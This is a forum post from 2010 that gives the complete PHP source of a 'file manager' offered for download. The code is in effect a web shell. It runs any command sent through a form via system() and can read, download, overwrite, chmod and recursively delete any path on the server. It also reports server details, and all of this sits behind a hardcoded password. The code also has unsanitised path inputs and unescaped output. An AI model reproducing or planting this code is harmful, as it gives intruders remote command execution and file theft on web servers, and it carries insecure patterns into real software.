热搜词
发表于 2010-3-3 15:22:21 | 显示全部楼层 |阅读模式
本帖最后由 灰儿 于 2010-3-3 17:18 编辑

PHP文件管理器

  1. <?
  2. $pagestartime=microtime();
  3. ob_start("ob_gzhandler");
  4. /*
  5. ID设计 PHP文件管理器v1.6版
  6. 作者:咖啡(coffee)
  7. 主页:http://idlerdesign.yeah.net
  8. 欢迎各位PHP爱好者对本程式进行优化 和改进。但请保留页面中原作者相关文字。
  9. 在此感谢落伍者论坛(http://im286.com) 在那里学的不少东西。
  10. */
  11. ////////////////////////////////////////登陆密码//////////////////////////////////////////////////////////////
  12. $adminpass='coffee';//登陆密码!!!!
  13. ////////////////////////////////////////////////////////////////////////////////////////////////////////////
  14. ?>
  15. <?
  16. session_start();
  17. if($pass!="")
  18. {session_register(okpwd);
  19. $okpwd=$password;
  20. }
  21. if($okpwd!=$adminpass)
  22. {
  23. echo"
  24. <table width="233" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" height="45">
  25. <tr>
  26. <td bgcolor="#CCCCCC" height="7" align="center"><font size="2pt">文件管理登陆</font></td>
  27. </tr>
  28. <tr>
  29. <form method="post" action="">
  30. <td bgcolor="#FFFFFF" align="center" height="9"><font size="2"> 密码
  31. <input type="password" name="password" maxlength="22" size="17" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  32. </font>
  33. <input type="submit" name="pass" value="登陆" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  34. </td>
  35. </form>
  36. </tr>
  37. </table>
  38. ";
  39. }
  40. else
  41. {
  42. ?>
  43. <?
  44. if($tools==phpshell)
  45. {
  46. echo"
  47. <html>
  48. <head>
  49. <title>ID文件管理器 phpshell工具v1.0bate</title>
  50. <style type="text/css">
  51. <!--
  52. .forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
  53. a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  54. a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  55. a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  56. -->
  57. </style>
  58. </head>
  59. <body bgcolor="#999999" leftmargin="5">
  60. <center>
  61. ";?>
  62. <?
  63. echo"<table width="100%" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" class="forn">
  64. <form name="" action="" method="post">
  65. <tr><td bgcolor="#CCCCCC" align="left">命令:
  66. <input type="text" name="command" size="50" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  67. <input type="submit" value="运行" name="submit" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  68. phpshell工具 1.0bate <a href="javascript:location.reload()">刷新</a>
  69. </td></tr><tr><td bgcolor="#FFFFFF" align="left">
  70. <textarea cols="93" rows="22" readonly name="textarea" style="font-size:9pt;background-color:#ffffff;border: 0px ">";
  71. if (!empty($command)) {
  72. system($command);
  73. }
  74. echo"
  75. </textarea>
  76. </td></tr></form></table>";
  77. ?>
  78. <?
  79. }
  80. elseif($tools==editfileperm) //编辑文件属性
  81. {
  82. echo"
  83. <html>
  84. <head>
  85. <title>ID文件管理器 phpshell工具v1.0bate</title>
  86. <style type="text/css">
  87. <!--
  88. .forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
  89. a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  90. a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  91. a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  92. -->
  93. </style>
  94. </head>
  95. <body bgcolor="#999999" leftmargin="5">
  96. <center>";

  97. $perm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
  98. echo"
  99. <table width="100%" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" class='forn'>
  100. <form method="post" action="?dir=$dir&fileperm=$fileperm">
  101. <tr><td bgcolor="#CCCCCC" height="5" align="left">文件属性修改工具 <a href="?dir=$dir">反回</a></td>
  102. </tr><tr><td bgcolor="#FFFFFF" height="7" align="center"> $fileperm 文件属性为:
  103. <input type="text" name="perming" value="$perm" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  104. <input type="submit" name="editperm" value="修改" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  105. <input type="reset" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  106. 文件属性值请用八进制.如: 0777.0666</td>
  107. </tr> </form>
  108. </table>



  109. ";
  110. }
  111. else
  112. {
  113. ?>
  114. <?
  115. if ($downfile) {
  116. if (!@is_file($downfile))
  117. echo"你要下的文件不存在";
  118. $filename = basename($downfile);
  119. $filename_info = explode('.', $filename);
  120. $fileext = $filename_info[count($filename_info)-1];
  121. header('Content-type: application/x-'.$fileext);
  122. header('Content-Disposition: attachment; filename='.$filename);
  123. header('Content-Description: PHP3 Generated Data');
  124. readfile($downfile);
  125. exit;
  126. }
  127. ?>


  128. <?php
  129. if($dir=="")
  130. $dir="./";
  131. ?>

  132. <html>
  133. <head>
  134. <title>ID PHP文件管理器 Powrerd by 咖啡</title>
  135. <style type="text/css">
  136. <!--
  137. .forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
  138. a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  139. a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  140. a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
  141. -->
  142. </style>
  143. <script language="JavaScript">
  144. <!--
  145. function MM_openBrWindow(theURL,winName,features) { //v2.0
  146. window.open(theURL,winName,features);
  147. }
  148. //-->
  149. </script>
  150. </head>
  151. <body bgcolor="#999999" leftmargin="5">
  152. <center>
  153. <?
  154. if ($editfile!=""&&$action!='copy'&&$n=='1'||$newfile!="")//编辑文件窗口
  155. {
  156. if($newfile==""){
  157. $filename = "$dir/$editfile";
  158. $fd = fopen( $filename, "r" );
  159. $contents = fread($fd, filesize($filename));
  160. fclose( $fd );
  161. $contents= str_replace("/textarea>","//textarea>",$contents);
  162. }else{
  163. $editfile=$newfile;
  164. $filename = "$dir/$editfile";
  165. }
  166. echo"
  167. <form name='edit' method='post' action=''>
  168. <font size='2'> 目前正在编辑文件名:</font>
  169. <input type='text' name='editfilename' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value=$editfile>
  170. <font size='2'> (你可以给文件改名) 复制:</font>
  171. <input type='checkbox' name='copy' value='1'>
  172. <font color=red size='2'>注意事件:选中复制后,需给新的文件改名,原文件内容不会变!</font><br>
  173. <textarea name='editfiletxt' cols='110' rows='26' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">$contents </textarea>
  174. <br>
  175. <input type='hidden' name='action' value='copy'>
  176. <input type='submit' value='提交'style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  177. <input type='reset' value='重置' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  178. </form>";
  179. }

  180. else
  181. {
  182. ?>


  183. <table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid;BORDER-top: #000000 1px solid;" width="100%" border="0" cellspacing="0" cellpadding="1" bgcolor="#CCCCCC">
  184. <tr>
  185. <td class="forn" width="73%">程序目录:
  186. <?
  187. $path="";
  188. $pathname=str_replace('\\','/',dirname(__FILE__));
  189. echo "<a href='?'>$pathname</a>";?>
  190. 服务器IP;<? echo getenv("SERVER_ADDR");?> <font color="#FFFFFF">  </font><span class="forn"><font color="#FF0000">
  191. I</font><font color="#0000FF">D</font><font color="#9900CC">设计</font>
  192. <font color="#666666">PHP文件管理器 v1.6b</font></span></td>
  193. <td class="forn" width="27%"><span class="forn">特殊工具: <a href="#" onClick="MM_openBrWindow('?tools=phpshell','ID文件管理器phpshell工具','width=600,height=400')">phpshell</a></span></td>
  194. </tr>
  195. </table>
  196. <table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#000000" class="forn">
  197. <form enctype="multipart/form-data" action="?dir=<? echo"$dir";?>" method="post" name=fm class="forn">
  198. <tr bgcolor="#FFFFFF">
  199. <td width="14%" align="center" bgcolor="#CCCCCC"><font size="2">请选择文件:
  200. </font></td>
  201. <td width="59%"><font size="2">
  202. <input name="userfile" type="file" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  203. </font></td>
  204. <td rowspan="5" align="left" valign="top" width="27%">
  205. <?
  206. if(!$userfile&&!$delfile&&!$deldir&&!$mkdir&&!$editfile&&!$editperm&&!$action)
  207. {
  208. echo"<font color=red>PHP版本:</font>php";
  209. echo PHP_VERSION."<br>";
  210. echo"<font color=red>操作系统:</font>";
  211. echo PHP_OS."<br>";
  212. echo"<font color=red>解译引擎:</font>";
  213. echo getenv("SERVER_SOFTWARE")."<br>";
  214. echo"<font color=red>脚本超时时间:</font>";
  215. echo get_cfg_var("max_execution_time")."秒<br>";
  216. echo"<font color=red>服务器端口:</font>";
  217. echo getenv("SERVER_PORT");
  218. echo"<font color=red> 空间大小:</font>";
  219. echo @intval(diskfreespace("/") / (1024 * 1024)).'Mb<br>';
  220. echo"<font color=red> 可上传最大单文件:</font>";
  221. echo get_cfg_var("upload_max_filesize").'<br>';
  222. echo"<font color=red> 安全模式:</font>";
  223. if (get_cfg_var("safe_mode"))echo"打开";
  224. else echo"关闭";

  225. } ?>
  226. <?
  227. if(@$userfile!="")
  228. {
  229. @$v=file_exists($filedir);
  230. if(!$v)
  231. {
  232. mkdir(@$filedir,0777);
  233. }
  234. @chmod($filedir,0777);
  235. if(@$lastname!="")
  236. {
  237. $lastname=$lastname;
  238. }
  239. else
  240. $lastname=$userfile_name;
  241. if(file_exists("$filedir/$lastname")=="1")
  242. echo"同名文件存在,请换个名子上传";
  243. else
  244. {
  245. copy($userfile,"$filedir/$lastname");
  246. echo $userfile_name."--该文件的原始名称<br>";
  247. echo $lastname."上传后的名称<br>";
  248. echo $userfile_size."--上传文件的实际字节数<br>";
  249. echo $userfile_type."-文件类型";
  250. echo "<p>〖<a href='$filedir/$userfile_name' target='_blank'>看看</a>〗";
  251. }
  252. echo "〖<a href='javascript:history.back(1)'>返回</a>〗";

  253. }
  254. ?>
  255. <?php
  256. if($delfile!="")
  257. {
  258. if(file_exists($delfile))
  259. {

  260. @unlink($delfile);
  261. }
  262. else{
  263. $xx="1";
  264. echo "文件已不存在<br>";
  265. }
  266. if(!file_exists($delfile)&&$xx!="1")
  267. echo"删除成功";
  268. else
  269. echo"删除失败";
  270. }
  271. ?>
  272. <?php
  273. if($deldir!="")
  274. {
  275. $deldirs="$dir/$deldir";
  276. if(file_exists("$deldirs")) //是否为空目录检测
  277. {
  278. $mydir=dir($deldirs);
  279. while($files=$mydir->read())
  280. {
  281. $i=$i+1;
  282. if($i>2)break;
  283. }
  284. $mydir->close(); //不关闭,后面就不能删除了。晕。总是忘。费了好大功夫才找出来
  285. }
  286. if(file_exists("$deldirs")&&$i==2)
  287. {
  288. chmod("$deldirs",0777);
  289. rmdir("$deldirs");
  290. $xy="1";
  291. }
  292. if($i>2)
  293. echo"<font color=red>此目录里面有文件,如果要将整个目录全部删除,请点---> <a href='?dir=$dir&deldir=$deldir&deltree=$deldir'>删除整个目录</a></font>";


  294. if(!file_exists("$deldirs"))echo"目录不存在!";
  295. if($xy=="1")echo"删除完必,";
  296. }
  297. ?>
  298. <?
  299. if($mkdir)
  300. {
  301. $mkdirs="$dir//$mkdir";
  302. if(file_exists("$mkdirs"))
  303. echo"该目录存在";
  304. else
  305. {
  306. mkdir("$mkdirs",0777);
  307. if(file_exists("$mkdirs"))
  308. echo"目录创建成功";
  309. else
  310. echo"目录创建失败";
  311. }
  312. }

  313. ?>
  314. <?
  315. if($deltree!=""&&$deldir!="")
  316. {
  317. if($deltree==$deldir)
  318. {
  319. $deldirs="$dir/$deltree";
  320. if(file_exists("$deldirs"))
  321. {
  322. deltree($deldirs);
  323. echo"删除整个目录完必!<br>";
  324. }else
  325. echo"文件已不存在!<br>";
  326. }
  327. else
  328. echo"错误操作!!<a href='javascript:history.back(1)'>反回</a>";
  329. }

  330. ?>
  331. <?
  332. //编辑文件部分
  333. if ($editfile!=""||$editfilename!="")
  334. {
  335. if($editfile!="")$filename1="$dir/$editfile";
  336. else $editfile=$editfilename;
  337. $filename="$dir/$editfilename";
  338. if($copy!="1")
  339. {
  340. $editfiletxt=stripslashes("$editfiletxt");
  341. $editfiletxt= str_replace("//textarea>","/textarea>",$editfiletxt);
  342. writetofile("$filename","$editfiletxt");
  343. if($editfile!=$editfilename)unlink($filename1);
  344. if(file_exists($filename))
  345. {
  346. echo"写入成功";
  347. }
  348. elseif(!file_exists($filename))echo"失败";
  349. }
  350. if($copy=="1"&&$editfile==$editfilename)
  351. {
  352. echo"您要复制?可没有给新的文件改个名字,现在两个文件名相同,请<a href='javascript:history.back(1)'>返回</a>";
  353. }
  354. elseif($copy=="1"&&$editfile!=$editfilename){
  355. echo"开始复制...<br>";
  356. $lastfilename="$dir/$editfilename";
  357. $editfiletxt=stripslashes("$editfiletxt");
  358. $editfiletxt= str_replace("<//textarea>","</textarea>",$editfiletxt);
  359. writetofile("$lastfilename","$editfiletxt");
  360. if(file_exists($lastfilename))echo"写入成功";
  361. elseif(!file_exists($lastfilename))echo"失败";
  362. }}
  363. ?>

  364. <?if($editperm!="")//编辑属性部分
  365. {


  366. @chmod("$dir/$fileperm","$perming");

  367. @$lastperm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
  368. echo"文件修改后的属性为$lastperm";
  369. }
  370. ?>
  371. </td>
  372. </tr>
  373. <tr bgcolor="#FFFFFF">
  374. <td width="14%" align="center" bgcolor="#CCCCCC"><font size="2">文件上传的目录:
  375. </font></td>
  376. <td width="59%"><font size="2">
  377. <input type="text" name="filedir" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value="<? echo"$dir";?>">
  378. 请用服务器上相对目路径</font></td>
  379. </tr>
  380. <tr bgcolor="#FFFFFF">
  381. <td width="14%" align="center" height="3" bgcolor="#CCCCCC"><font size="2">上传后的文件名:</font>
  382. </td>
  383. <td width="59%" height="3">
  384. <input type="text" name="lastname" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  385. 可不写 <font size="2">(注意,请在后面加后缀名!如:name.zip)</font></td>
  386. </tr>
  387. <tr bgcolor="#FFFFFF">
  388. <td width="14%" bgcolor="#CCCCCC"> </td>
  389. <td width="59%">
  390. <input type="submit" value="上传" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  391. <input type="reset" name="Submit" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  392. </td>
  393. </tr>
  394. <tr bgcolor="#FFFFFF">
  395. <td colspan="2" bgcolor="#CCCCCC" height="2">还有很多功能我正在想,尽量将这个文件功能变的更强大.请提出建议
  396. mail:<a href="mailto:phpcoffee@hotmail.com%20">phpcoffee@hotmail.com
  397. </a></td>
  398. </tr>
  399. </form>
  400. </table>
  401. <table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid" width="100%" border="0" cellspacing="0" cellpadding="1" class="forn" bgcolor="#FFFFFF">
  402. <form name="t" method="get" action="" class="forn">
  403. <tr>
  404. <td height="7"> <span class="forn">当前路径:
  405. <? echo $NowDir = getMyPath($pathname, $dir);?>
  406. </span> 磁盘:
  407. <input type="text" name="dir" size="2"style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  408. <input type="submit" value="转换" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" name="t">
  409. 如:c:盘符,.</td>
  410. </tr>
  411. </form>
  412. </table>
  413. <span class="forn"> </span>
  414. <table width="100%" border="0" cellspacing="1" cellpadding="1" class="forn" bgcolor="#000000" height="44">
  415. <tr bgcolor="#CCCCCC">
  416. <form method="post" action="?dir=<?echo"$dir";?>">
  417. <td width="29%" height="12"> 目录:
  418. <input type="text" name="mkdir" size="15" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  419. <input type="submit" value="创建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
  420. </td>
  421. </form>
  422. <form method="post" action="?action=newsfile&dir=<?echo"$dir";?>">
  423. <td width="71%" height="12"> 文件:

  424. <input type="text" name="newfile" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  425. <input type="submit" value="新建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
  426. </td>
  427. </form>
  428. </tr>
  429. <tr bgcolor="#FFFFFF">
  430. <td width="29%" align="left" valign="top" height="9">
  431. <table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
  432. <tr align="center">
  433. <td height="14" width="63%" align="left">目录名称</td>
  434. <td height="14" width="18%">属性</td>
  435. <td height="14" width="19%">操作</td>
  436. </tr>
  437. </table>
  438. <?php
  439. @$dirs=opendir($dir);
  440. while (@$file=readdir($dirs)) {
  441. @$b="$dir/$file";
  442. @$a=is_dir($b);
  443. if($a=="1"){
  444. if($file!=".."&&$file!=".")
  445. {
  446. $fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
  447. echo "<table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn' onMouseOut="this.bgColor='#ffffff';"
  448. onMouseOver="this.bgColor='#cccccc';"><tr>
  449. <td width='60%'>□ <a href='?dir=$dir/$file'>$file</a></td>
  450. <td width='15%'><a href='?dir=$dir&fileperm=$file&tools=editfileperm'>$fileperm</a></td>
  451. <td width='15%'><a href='?dir=$dir&deldir=$file'>删除</a></td></tr></table>";
  452. }
  453. else
  454. {
  455. if($file=="..")
  456. echo "↑<a href='?dir=$dir/$file'> 上级目录</a>";
  457. }
  458. }
  459. }
  460. @closedir($dirs);
  461. ?>
  462. </td>
  463. <td width="71%" valign="top" align="left" height="9">
  464. <table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
  465. <tr align="center">
  466. <td width="34%" align="left">文件名称</td>
  467. <td width="17%">时期</td>
  468. <td width="22%">大小</td>
  469. <td width="9%">属性</td>
  470. <td width="18%">操作</td>
  471. </tr>
  472. </table>
  473. <?php
  474. @$dirs=opendir($dir);
  475. while (@$file=readdir($dirs)) {
  476. @$b="$dir/$file";
  477. @$a=is_dir($b);
  478. if($a=="0"){
  479. @$size=filesize("$dir/$file");
  480. @$size=$size/1024 ;
  481. @$size= number_format($size, 3);

  482. @$lastsave=date("Y-n-d H:i",filectime("$dir/$file"));
  483. @$fileperm=substr(base_convert(fileperms("$dir/$file"),10,8),-4);
  484. echo "
  485. <table width='100%' border='0' cellspacing='0' cellpadding='0' class='forn' onMouseOut="this.bgColor='#ffffff';"
  486. onMouseOver="this.bgColor='#cccccc';" >
  487. <tr>
  488. <td width='30%'><a href=$dir/$file target=_blank>$file</a> $isread </td>
  489. <td width='22%'>$lastsave</td>
  490. <td width='20%'>$size KB</td>
  491. <td width='7%'><a href='?dir=$dir&fileperm=$file&tools=editfileperm'>$fileperm</a></td>
  492. <td width='6%'><a href='?downfile=$dir/$file' target='_blank'>下载</a></td>
  493. <td width='6%'><a href='?dir=$dir&editfile=$file&n=1'>编辑</a></td>
  494. <td width='6%'><a href='?dir=$dir&delfile=$dir/$file'>删除</a></td>
  495. </tr>
  496. </table>";
  497. }
  498. }
  499. @closedir($dirs);
  500. ?>
  501. </td>
  502. </tr><?}?>
  503. </table>

  504. <?}?> <table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid;BORDER-bottom: #000000 1px solid;" width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC" class="forn" height="9">
  505. <tr>
  506. <td height="17" width="49%">

  507. <span class="forn">
  508. <?php
  509. $pageendtime=microtime();
  510. $starttime=explode(" ",$pagestartime);
  511. $endtime=explode(" ",$pageendtime);
  512. $totaltime=$endtime[0]-$starttime[0]+$endtime[1]-$starttime[1];
  513. $timecost=sprintf("%s",$totaltime);
  514. echo "<font color=red>页面运行时间:$timecost 秒 </font>";?>
  515. </span> </td>
  516. <td height="17" width="33%"><span class="forn"> </span></td>
  517. <td height="17" width="18%" align="right"><span class="forn">Powered by
  518. <a href="http://idlerdesign.yeah.net" target="_blank">咖啡  </a></span></td>
  519. </tr>
  520. </table>
  521. </center>
  522. </body>
  523. </html>
  524. <?
  525. }
  526. ?>

  527. <?

  528. function writetofile($filename,$book)
  529. {
  530. @$fd=fopen("$filename","w");
  531. @fwrite($fd,$book);
  532. @fclose($fd);
  533. }


  534. function deltree($TagDir) //整目录及文件删除
  535. {
  536. $mydir=dir($TagDir);
  537. while($file=$mydir->read()){
  538. if((is_dir("$TagDir/$file")) AND ($file!=".") AND ($file!=".."))
  539. {
  540. deltree("$TagDir/$file");
  541. }
  542. else
  543. {
  544. chmod("$TagDir/$file",0777);
  545. @unlink("$TagDir/$file"); }

  546. }
  547. $mydir->close();
  548. chmod("$TagDir",0777);
  549. @rmdir($TagDir);
  550. }




  551. function getMyPath($mainpath, $relativepath)
  552. {
  553. global $dir;

  554. $mainpath_info = explode('/', $mainpath);
  555. $relativepath_info = explode('/', $relativepath);
  556. $relativepath_info_count = count($relativepath_info);
  557. for ($i=0; $i<$relativepath_info_count; $i++) {
  558. if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
  559. if ($relativepath_info[$i] == '..') {
  560. $mainpath_info_count = count($mainpath_info);
  561. unset($mainpath_info[$mainpath_info_count-1]);
  562. continue;
  563. }
  564. $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
  565. } //end for

  566. return implode('/', $mainpath_info);
  567. }

  568. ?>

复制代码


PHP文件管理器v1.6b.rar (5.74 KB, 下载次数: 398)
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-12-28 11:34 , Processed in 0.167123 second(s), 25 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team